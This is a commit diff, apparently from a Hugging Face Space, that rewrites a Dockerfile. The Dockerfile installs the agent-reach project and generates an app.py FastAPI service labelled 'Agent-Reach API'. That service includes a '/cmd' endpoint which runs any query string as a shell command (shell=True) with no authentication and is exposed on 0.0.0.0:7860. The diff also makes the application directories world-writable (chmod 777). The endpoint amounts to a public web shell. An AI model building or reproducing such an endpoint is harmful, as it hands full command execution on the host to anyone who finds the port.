Spaces:
Sleeping
Sleeping
Update Dockerfile
Browse files- Dockerfile +30 -9
Dockerfile
CHANGED
|
@@ -1,18 +1,39 @@
|
|
| 1 |
FROM docker.io/library/python:3.10
|
| 2 |
|
| 3 |
-
# 1.
|
| 4 |
-
|
| 5 |
|
| 6 |
-
# 2.
|
|
|
|
|
|
|
|
|
|
| 7 |
RUN git clone https://github.com/Panniantong/agent-reach.git /opt/agent-reach
|
| 8 |
RUN pip install -e /opt/agent-reach
|
| 9 |
|
| 10 |
-
#
|
| 11 |
-
RUN
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 12 |
|
| 13 |
-
#
|
| 14 |
EXPOSE 7860
|
| 15 |
|
| 16 |
-
#
|
| 17 |
-
|
| 18 |
-
CMD ["python", "app.py"]
|
|
|
|
| 1 |
FROM docker.io/library/python:3.10
|
| 2 |
|
| 3 |
+
# 1. 设置清晰的工作目录
|
| 4 |
+
WORKDIR /app
|
| 5 |
|
| 6 |
+
# 2. 安装基础依赖
|
| 7 |
+
RUN pip install --no-cache-dir pipx uvicorn fastapi && pipx ensurepath
|
| 8 |
+
|
| 9 |
+
# 3. 克隆源码并进行源码安装
|
| 10 |
RUN git clone https://github.com/Panniantong/agent-reach.git /opt/agent-reach
|
| 11 |
RUN pip install -e /opt/agent-reach
|
| 12 |
|
| 13 |
+
# 4. 【核心】直接在容器内生成 app.py 接口文件
|
| 14 |
+
RUN echo 'import os, subprocess\n\
|
| 15 |
+
from fastapi import FastAPI, Query\n\
|
| 16 |
+
import uvicorn\n\
|
| 17 |
+
app = FastAPI()\n\
|
| 18 |
+
@app.get("/")\n\
|
| 19 |
+
def index():\n\
|
| 20 |
+
return {"status": "running", "msg": "Welcome to Agent-Reach API"}\n\
|
| 21 |
+
@app.get("/cmd")\n\
|
| 22 |
+
def run_command(q: str = Query(..., description="command")):\n\
|
| 23 |
+
try:\n\
|
| 24 |
+
result = subprocess.check_output(q, shell=True, stderr=subprocess.STDOUT, text=True)\n\
|
| 25 |
+
return {"code": 0, "output": result}\n\
|
| 26 |
+
except subprocess.CalledProcessError as e:\n\
|
| 27 |
+
return {"code": 1, "output": e.output}\n\
|
| 28 |
+
if __name__ == "__main__":\n\
|
| 29 |
+
uvicorn.run(app, host="0.0.0.0", port=7860)\n\
|
| 30 |
+
' > /app/app.py
|
| 31 |
+
|
| 32 |
+
# 5. 授予 Hugging Face 默认用户完全的读写权限
|
| 33 |
+
RUN chmod -R 777 /app /opt/agent-reach
|
| 34 |
|
| 35 |
+
# 6. 声明端口
|
| 36 |
EXPOSE 7860
|
| 37 |
|
| 38 |
+
# 7. 绝对路径启动,彻底杜绝 No such file 错误
|
| 39 |
+
CMD ["python", "/app/app.py"]
|
|
|